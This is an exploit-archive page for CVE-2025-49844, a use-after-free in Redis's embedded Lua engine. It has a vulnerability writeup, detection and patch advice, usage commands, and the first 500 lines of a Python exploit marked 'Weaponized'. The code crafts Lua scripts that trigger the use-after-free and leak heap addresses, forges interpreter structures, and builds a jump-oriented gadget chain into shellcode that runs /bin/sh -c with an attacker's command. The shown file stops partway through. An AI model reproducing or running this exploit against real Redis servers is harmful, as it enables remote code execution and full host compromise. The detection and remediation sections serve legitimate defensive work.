PoC Archive PoC Archive
Critical CVE-2025-49844 unpatched

RediShell: Redis Lua Scripting Use-After-Free Leading to JOP-Chained Remote Code Execution (CVE-2025-49844)

by cc3305 · 2026-07-06

CVSS 9.9/10
Severity
Critical
CVE
CVE-2025-49844
Category
binary
Affected product
Redis (embedded Lua scripting engine)
Affected versions
6.2 before 6.2.20; 7.2 before 7.2.11; 7.4 before 7.4.6; 8.0 before 8.0.4; 8.2 before 8.2.2
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researchercc3305
CVE / AdvisoryCVE-2025-49844
Categorybinary
SeverityCritical
CVSS Score9.9 (per NVD)
StatusWeaponized
Tagsredis, lua, use-after-free, uaf, memory-corruption, jop, jump-oriented-programming, shellcode, iced-x86, docker, cwe-416, rce
RelatedN/A

Affected Target

FieldValue
Software / SystemRedis (embedded Lua scripting engine)
Versions Affected6.2 before 6.2.20; 7.2 before 7.2.11; 7.4 before 7.4.6; 8.0 before 8.0.4; 8.2 before 8.2.2
Language / PlatformPython 3 (redis, iced-x86) PoC targeting Redis server on Linux x86-64 (specific Docker builds)
Authentication RequiredYes (a user/connection with access to run Lua scripts via EVAL/EVALSHA)
Network Access RequiredYes (TCP to the Redis port, default 6379)

Summary

CVE-2025-49844 (“RediShell”) is a use-after-free vulnerability in Redis’s embedded Lua scripting engine: a crafted Lua script can manipulate the Lua garbage collector so that a Proto (function prototype) object is freed while a reference to it is still reachable, allowing the attacker to control freed memory and leak heap pointers. The included PoC exploits this precisely: it uploads carefully constructed Lua scripts via EVAL to trigger the UAF and leak a stable heap address, uses that leak to compute the Redis process’s PIE base address and the location of the Lua allocator/state, forges a fake CClosure object with a jump-oriented-programming (JOP) gadget chain (built with the iced-x86 disassembler/encoder library) that calls mprotect to mark an attacker-controlled Lua string page executable, and finally pivots execution into hand-assembled x86-64 shellcode that forks and execs /bin/sh -c <command> — achieving remote code execution as the Redis process user, entirely outside the Lua sandbox.


Vulnerability Details

Root Cause

The vulnerability lives in Redis’s Lua loadstring/GC interaction: the PoC’s create_script() builds a Lua chunk that defines several nested closures sharing a predictable Proto shape, then forces collectgarbage("collect") at a specific point in a custom myloader function used with load(). This race between the garbage collector reclaiming a Proto object and Redis’s error-handler code (__redis__err__handler) still referencing its source field allows the attacker to read back memory through the dangling reference (return l0000000.source), leaking whatever heap data now occupies that freed slot. Iterating this UAF-leak primitive (perform_leak() in the PoC) at chosen offsets lets the attacker recover the Lua allocator pointer (luaAlloc), from which the Redis PIE base and internal structure addresses (mprotect, pthread_create, addReplyBool, and multiple ROP/JOP gadgets) are derived using version/build-specific fixed offsets:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
class Redis821Alpine:
    def core_addrs(self, luaAlloc: int) -> Optional[CoreAddrs]:
        if luaAlloc & 0xFFF != 0xF10:
            return None
        redis_base = luaAlloc - 0x240F10
        return CoreAddrs(
            luaAlloc=luaAlloc,
            redis_base=redis_base,
            mprotect=redis_base + 0x80B90,
            pthread_create=redis_base + 0x813B0,
        )

A second phase of the same UAF corrupts an upvalue/CClosure structure so that calling it invokes a chain of JOP gadgets (build_pivot_payload()) that ultimately calls mprotect() on the page holding attacker-supplied shellcode bytes (smuggled in as a Lua string literal), then jumps into that now-executable page.

Attack Vector

  1. Connect to Redis with credentials/ACLs that permit EVAL/Lua scripting.
  2. Check the reported redis_version and redis_build_id against the known-vulnerable/known-supported list; abort unless it is an exact match for one of the two supported Docker builds (or --force is passed).
  3. Upload a Lua script (EVAL) engineered to trigger the Proto/closure use-after-free and leak a stable heap pointer via tostring() on a dangling closure/table.
  4. Repeat targeted leaks (perform_leak) to recover luaAlloc, derive the Redis PIE base, and locate the exact page backing a shellcode-carrying Lua string (table_item_tstring_addr).
  5. Assemble x86-64 shellcode (via iced-x86) that forks and execves /bin/sh -c "<command>", and a target-specific JOP gadget chain that mprotects the shellcode’s page executable and pivots into it.
  6. Corrupt a CClosure’s function pointer/upvalue via the same UAF primitive so that invoking it (upval script step) enters the JOP chain instead of a normal Lua C function, executing the shellcode and running the attacker’s OS command.

Impact

An authenticated user with Lua scripting access can achieve arbitrary remote code execution as the Redis server process user, fully outside the Lua sandbox — a critical escalation from “can run Lua scripts” to “can run OS commands,” enabling full host compromise where Redis runs with elevated privileges or has other services co-located.


Environment / Lab Setup

Target:   Redis Docker image redis:8.2.1-alpine (build ID f5a80511e802827d) or
          redis:8.2.1-bookworm (build ID fcae35583392417f) — exploit hardcodes
          function offsets/JOP gadgets for exactly these two builds and will
          refuse to run against any other build ID unless --force is used
          (offsets will not match and the exploit will simply fail safely).
Attacker: Python 3 with `redis` and `iced-x86` (see requirements.txt)

Proof of Concept

PoC Script

See CVE-2025-49844.py and requirements.txt in this folder.

1
2
3
4
5
pip install -r requirements.txt

python3 CVE-2025-49844.py TARGET -p 6379 -a "<password>" -C "id > /tmp/pwned"

python3 CVE-2025-49844.py TARGET --force -C "id > /tmp/pwned"

The command executes with no output returned to the attacker (fire-and-forget); success/failure is determined out-of-band (e.g. by checking for the resulting file/side effect on the target).


Detection & Indicators of Compromise

Signs of compromise:

  • Redis command logs (MONITOR, slowlog) showing many rapid SCRIPT FLUSH + EVAL cycles with dense escaped-byte Lua string literals
  • Unexpected /bin/sh child processes forked directly from redis-server
  • Crashes or restarts of redis-server coinciding with Lua script execution (failed exploit attempts corrupting memory)
  • Outbound or local command execution artifacts attributable to the redis-server process user

Remediation

ActionDetail
Primary fixUpgrade Redis to a patched release: 6.2.20+, 7.2.11+, 7.4.6+, 8.0.4+, or 8.2.2+ (see Redis Security Advisory GHSA-4789-qfc9-5f9q and patch commit d5728cb5795c966c5b5b1e0f0ac576a7e69af539)
Interim mitigationIf immediate patching is not possible, restrict Lua scripting via Redis ACLs by denying EVAL/EVALSHA (and related scripting commands) for all but fully trusted clients; do not expose Redis directly to untrusted networks

References


Notes

Mirrored from https://github.com/cc3305/CVE-2025-49844 on 2026-07-06. ~500-line exploit using iced-x86 to build a JOP-chain shellcode against Redis’s Lua UAF, scoped honestly by the author to two specific Docker build IDs (redis:8.2.1-alpine and redis:8.2.1-bookworm) — it will safely refuse to run against any other build rather than attempting unreliable exploitation.

CVE-2025-49844.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
import argparse
import random
import redis
import struct
from io import StringIO
from urllib.parse import urlparse
from dataclasses import dataclass, field
from typing import Any, Callable, Optional, Protocol, Tuple, cast

from iced_x86 import (
    BlockEncoder,
    Code,
    Instruction as Instr,
    MemoryOperand,
    Register,
)

# Global variable for the args
args = None

def log_success(msg: str):
    """
    Logs a success message to stdout

    Arguments:
        msg(str): The message to log
    """
    print(f"[+] {msg}")

def log_failure(msg: str):
    """
    Logs a failure message to stdout

    Arguments:
        msg(str): The message to log
    """
    print(f"[-] {msg}")

def log_info(msg: str):
    """
    Logs a info message to stdout

    Arguments:
        msg(str): The message to log
    """
    print(f"[*] {msg}")

def log_result(msg: str):
    """
    Logs a result message to stdout

    Arguments:
        msg(str): The message to log
    """
    print(f"[>] {msg}")

@dataclass
class ParsedArgs:
    host: str
    port: int
    password: str | None
    timeout: int
    force: bool
    command: str | None

@dataclass
class CoreAddrs:
    redis_base: int
    luaAlloc: int
    mprotect: int
    pthread_create: int

@dataclass
class TargetInfo:
    name: str
    redis_version: str
    redis_build_id: str

@dataclass
class ExploitState:
    target: TargetInfo
    addrs: CoreAddrs
    megabin_address: int
    shellcode_entry: int
    shellcode_page: int

@dataclass
class ShellcodeContext:
    origin: int
    addrs: CoreAddrs
    luastate: int
    body_callback: Callable[["ShellcodeContext"], Optional[Tuple[bytes, int]]]

class TargetModule(Protocol):
    def info(self) -> TargetInfo:
        ...

    def core_addrs(self, luaAlloc: int) -> Optional[CoreAddrs]:
        ...

    def create_shellcode(self, context: ShellcodeContext, shellcode: bytes, shellcode_body_address: int) -> Optional[Tuple[bytes, int]]:
        ...

    def build_pivot_payload(self, state: ExploitState) -> Tuple[bytes, bytes]:
        ...

@dataclass
class CClosure:
    nupvalues: int = field(default=0)
    p_gclist: int = field(default=0)
    p_env: int = field(default=0)
    p_function: int = field(default=0)

    def build(self, next: int = 0) -> bytes:
        data = b""
        data += struct.pack("<Q", next)
        data += b"\x06"
        data += b"\x00"
        data += b"\x01"
        data += struct.pack("B", self.nupvalues)
        data += b"\x00" * 4
        data += struct.pack("<QQQ", self.p_gclist, self.p_env, self.p_function)
        assert len(data) == 0x28
        return data

@dataclass
class Proto:
    p_k: int = field(default=0)
    p_code: int = field(default=0)
    p_p_p: int = field(default=0)
    p_lineinfo: int = field(default=0)
    p_locvars: int = field(default=0)
    p_p_upvalues: int = field(default=0)
    p_source: int = field(default=0)
    sizeupvalues: int = field(default=0)
    sizek: int = field(default=0)
    sizecode: int = field(default=0)
    sizelineinfo: int = field(default=0)
    sizep: int = field(default=0)
    sizelocvars: int = field(default=0)
    linedefined: int = field(default=0)
    lastlinedefined: int = field(default=0)
    p_gclist: int = field(default=0)
    nups: int = field(default=0)
    numparams: int = field(default=0)
    is_vararg: int = field(default=0)
    maxstacksize: int = field(default=0)

    def build_into_tstring_contents(self) -> bytes:
        data = self.build()
        next_ptr = struct.unpack("<Q", data[0x00:0x08])[0]
        if next_ptr != 0:
            log_failure("Proto::next is not null")
        p_k = struct.unpack("<Q", data[0x10:0x18])[0]
        if p_k != 0:
            log_failure("Proto::k is not null")
        return data[0x18:]

    def build(self) -> bytes:
        data = b""
        data += b"\x00" * 8
        data += b"\x09"
        data += b"\x02"
        data += b"\x00" * 6
        data += struct.pack("<QQQQQQQIIIIIIIIQBBBB", *[
            self.p_k,
            self.p_code,
            self.p_p_p,
            self.p_lineinfo,
            self.p_locvars,
            self.p_p_upvalues,
            self.p_source,
            self.sizeupvalues,
            self.sizek,
            self.sizecode,
            self.sizelineinfo,
            self.sizep,
            self.sizelocvars,
            self.linedefined,
            self.lastlinedefined,
            self.p_gclist,
            self.nups,
            self.numparams,
            self.is_vararg,
            self.maxstacksize,
        ])
        assert len(data) == 0x74
        return data

@dataclass
class ScriptOptions:
    opcodes: Tuple[int, int] = field(default=(0, 0))
    megabin: str = field(default="")
    leak_addr: int = field(default=0)
    upval_address: int = field(default=0)
    shellcode: str = field(default="")
    root_local_count: int = field(default=0)
    g0_prefix_count: int = field(default=6)
    g1_prefix_count: int = field(default=6)
    g2_prefix_count: int = field(default=6)
    g3_prefix_count: int = field(default=6)
    step: int = field(default=0)

@dataclass
class Opcodes:
    opcodes: list[int]

    def __len__(self) -> int:
        return len(self.opcodes)

    def to_bytes_le(self) -> bytes:
        return b"".join([u32_le(opcode) for opcode in self.opcodes])

def parse_args() -> ParsedArgs:
    """
    Parses the command line args
    Required arguments are marked by a star (*)

    Returns:
        ParsedArgs: the parsed args
    """

    # Add some default checks 
    parser = argparse.ArgumentParser(description="CVE-2025-49844 exploit script by cc3305")
    parser.add_argument("host", action="store", help="Target Redis host, optionally with a port")
    parser.add_argument("-p", "--port", action="store", type=int, default=6379, help="Target Redis port. Defaults to 6379")
    parser.add_argument("-a", "--password", action="store", help="Redis password")
    parser.add_argument("--timeout", action="store", type=int, default=5, help="The Redis connection timeout in seconds. Defaults to 5s")
    parser.add_argument("-f", "--force", action="store_true", help="Force the exploit (skip the check if the host is vulnerable)")

    # Add more checks according to exploit, e.g. add a "--command" for a RCE exploit
    parser.add_argument("-C", "--command", action="store", help="Command to run on the target if exploited successfully")
    
    # Return the parsed args
    result = parser.parse_args()
    result.host, result.port = parse_target(result.host, result.port)

    return ParsedArgs(**vars(result))

def parse_target(target: str, default_port: int) -> tuple[str, int]:
    """
    Parses the target host and port

    Arguments:
        target(str): The target
        default_port(int): The default port

    Returns:
        tuple[str, int]: The parsed host and port
    """
    if "://" in target:
        parsed = urlparse(target)
        return parsed.hostname or target, parsed.port or default_port

    host, separator, port = target.rpartition(":")
    if separator == "" or not port.isdigit():
        return target, default_port
    return host, int(port)

def redis_client() -> redis.Redis:
    """
    Creates a Redis client

    Returns:
        redis.Redis: The Redis client
    """
    return redis.Redis(host=args.host, port=args.port, password=args.password, socket_timeout=args.timeout, socket_connect_timeout=args.timeout, decode_responses=True)

def redis_binary_client() -> redis.Redis:
    """
    Creates a Redis client for binary exploit payloads

    Returns:
        redis.Redis: The Redis client
    """
    return redis.Redis(host=args.host, port=args.port, password=args.password, socket_timeout=args.timeout, socket_connect_timeout=args.timeout, decode_responses=False)

def u32_le(value: int) -> bytes:
    return struct.pack("<I", value)

def u64_le(value: int) -> bytes:
    return struct.pack("<Q", value)

def u64_silly(value: int) -> int:
    return struct.unpack("<Q", struct.pack("B", value) * 8)[0]

def optional_map(value: Any | None, f: Callable[[Any], Any | None]) -> Any | None:
    if value is None:
        return None
    return f(value)

def add_label(id: int, instruction: Instr) -> Instr:
    instruction.ip = id
    return instruction

def lua_encode(data: bytes) -> str:
    with StringIO() as writer:
        for byte in data:
            writer.write(f"\\{byte:03}")
        return writer.getvalue()

def proto4stub() -> str:
    # This chunk gives us multiple closures with a predictable Proto shape
    contents = ""
    contents += "local empty000 = {}\\n"
    contents += "empty000.source = nil\\n"
    contents += "local hello000 = __redis__err__handler\\n"
    contents += "local function h0000000 () local t0000000 = hello000; return empty000 end\\n"
    contents += "local function i0000000 () local t0000000 = hello000; return empty000 end\\n"
    contents += "local function j0000000 () local t0000000 = hello000; return empty000 end\\n"
    contents += "local function k0000000 () local t0000000 = hello000; return empty000 end\\n"
    contents += "local l0000000 = i0000000()\\n"
    contents += "if type(l0000000) == \"function\" then return l0000000() end\\n"
    contents += "return l0000000.source"
    return contents

def proto_encode_tstring(proto: Proto) -> str:
    proto.linedefined = random.randint(0, 0xFFFF_FFFF)
    proto.lastlinedefined = random.randint(0, 0xFFFF_FFFF)
    return lua_encode(proto.build_into_tstring_contents())

def create_script(options: ScriptOptions) -> str:
    # Build the Lua parser/GC race script around the current heap addresses
    def proto() -> str:
        p_code, sizecode = options.opcodes
        proto_obj = Proto(p_code=p_code, p_source=options.leak_addr, sizecode=sizecode, nups=1)
        return proto_encode_tstring(proto_obj)

    upval_addr = lua_encode(struct.pack("<Q", options.upval_address))
    g0_prefix = "\n".join([f'local y0_{i} = string.sub(" {proto()}", 2)' for i in range(options.g0_prefix_count)])
    g1_prefix = "\n".join([f'local y1_{i} = string.sub(" {proto()}", 2)' for i in range(options.g1_prefix_count)])
    g2_prefix = "\n".join([f'local y2_{i} = string.sub(" {proto()}", 2)' for i in range(options.g2_prefix_count)])
    g3_prefix = "\n".join([f'local y3_{i} = string.sub(" {proto()}", 2)' for i in range(options.g3_prefix_count)])
    root_locals = "\n".join([f"local L{i} = 0" for i in range(options.root_local_count)])
    where_locals = "\n".join([f"local u{i} = 0" for i in range((0x200 - 0x28) // 8)])
    where_returns = ", ".join([f"u{i}" for i in range((0x200 - 0x28) // 8)])

    script = f"""
local zerosizestr = ''

local container = {{"{options.shellcode}"}}
if ARGV[1] == "dest" then
    return tostring(container)
end

local reserved = {{}}

local index = 0
local function myloader ()
    local myindex = index
    index = index + 1
    if myindex == 0 then
        return nil
    elseif myindex == 1 then
        collectgarbage("collect")

        {g0_prefix}
        local g0 = loadstring('{proto4stub()}')

        {g1_prefix}
        local g1 = loadstring('{proto4stub()}')

        {g2_prefix}
        local g2 = loadstring('{proto4stub()}')

        {g3_prefix}
        local g3 = loadstring('{proto4stub()}')

        reserved[0] = g0
        reserved[1] = g1
        reserved[2] = g2
        reserved[3] = g3

        return 'return __redis__err__handler().source'
    end
end

{root_locals}

local f = load(myloader)

if ARGV[1] == "where" then
    {where_locals}
    local function a () return {where_returns} end
    return tostring(a)
end
reserved['o'] = string.sub(" {options.megabin}", 2)

if ARGV[1] == "tostring" then
    return tostring(temp)
elseif ARGV[1] == "check" then
    return f()
end

local s = 0
s = string.sub(" {upval_addr} 0000000", 2)
s = string.sub(" {upval_addr} 0000001", 2)
s = string.sub(" {upval_addr} 0000002", 2)
s = string.sub(" {upval_addr} 0000003", 2)
s = string.sub(" {upval_addr} 0000004", 2)
s = string.sub(" {upval_addr} 0000005", 2)
s = string.sub(" {upval_addr} 0000006", 2)
s = string.sub(" {upval_addr} 0000007", 2)
s = string.sub(" {upval_addr} 0000008", 2)
s = string.sub(" {upval_addr} 0000009", 2)
s = string.sub(" {upval_addr} 0000010", 2)
s = string.sub(" {upval_addr} 0000011", 2)
s = string.sub(" {upval_addr} 0000012", 2)
s = string.sub(" {upval_addr} 0000013", 2)
s = string.sub(" {upval_addr} 0000014", 2)
s = string.sub(" {upval_addr} 0000015", 2)
s = string.sub(" {upval_addr} 0000016", 2)
s = string.sub(" {upval_addr} 0000017", 2)
s = string.sub(" {upval_addr} 0000018", 2)
s = string.sub(" {upval_addr} 0000019", 2)

collectgarbage("collect")

local a = reserved[0]()
local b = reserved[1]()
local c = reserved[2]()
local d = reserved[3]()
if a ~= nil then return a end
if b ~= nil then return b end
if c ~= nil then return c end
if d ~= nil then return d end
return nil
    """
    return "\n".join([line for line in script.split("\n") if not line.lstrip().startswith("--")])

def parse_leaked_tostring_addr(contents: bytes) -> Optional[int]:
    if contents.startswith(b"function: "):
        return int(contents.lstrip(b"function: "), 16)
    if contents.startswith(b"table: "):
        return int(contents.lstrip(b"table: "), 16)
    return None

def leaked_addr(data: bytes) -> Optional[int]:
    if len(data) < 6:
        log_failure("Did not leak at least 6 bytes")
        return None
    data += b"\x00" * (8 - len(data))
    return int(struct.unpack("<Q", data)[0])

def perform_leak(client: redis.Redis, options: ScriptOptions, address: int, count: int, argv: list[bytes | str] | None = None) -> Optional[bytes]:
    # The fake Proto points `source` at an arbitrary address and Redis returns it as bytes
    options = dataclasses_replace(options, leak_addr=address)
    argv = argv if argv is not None else []
    data = b""
    failcount = 0
    while True:
        script = create_script(options)
        client.script_flush("SYNC")
        log_info(f"Uploading script (leak: 0x{options.leak_addr:x})")
        result = cast(Any, client.eval(script, 0, *argv))
        log_info(f"Result: {result}")

        if result is None:
            failcount += 1
            if failcount > 3:
                log_failure("Leak max failcount exceeded")
                return None
            log_failure("Leak failed, trying again")
            continue
        failcount = 0

        if not isinstance(result, bytes):
            log_failure(f"Failed to leak, returned non-bytes: 0x{options.leak_addr:x}")
            return None

        result += b"\x00"
        data += result
        if count <= len(data):
            return data

        options.leak_addr += len(result)

def dataclasses_replace(options: ScriptOptions, **changes: Any) -> ScriptOptions:
    values = options.__dict__.copy()
    values.update(changes)
    return ScriptOptions(**values)

def create_shellcode_body_command(context: ShellcodeContext, command: bytes) -> Optional[Tuple[bytes, int]]:
    if b"\x00" in command:
        log_failure("Shell command cannot contain null bytes")
        return None
    if len(command) > 0x800:
        log_failure("Shell command is too large")
        return None

    # The payload forks and execs `/bin/sh -c <command>` without capturing output
    shellcode = b""
    bin_sh_offset = len(shellcode)
    shellcode += b"/bin/sh\x00"
    dash_c_offset = len(shellcode)
    shellcode += b"-c\x00"
    command_offset = len(shellcode)
    shellcode += command + b"\x00"
    env_var_path_offset = len(shellcode)
Showing 500 of 1156 lines View full file on GitHub →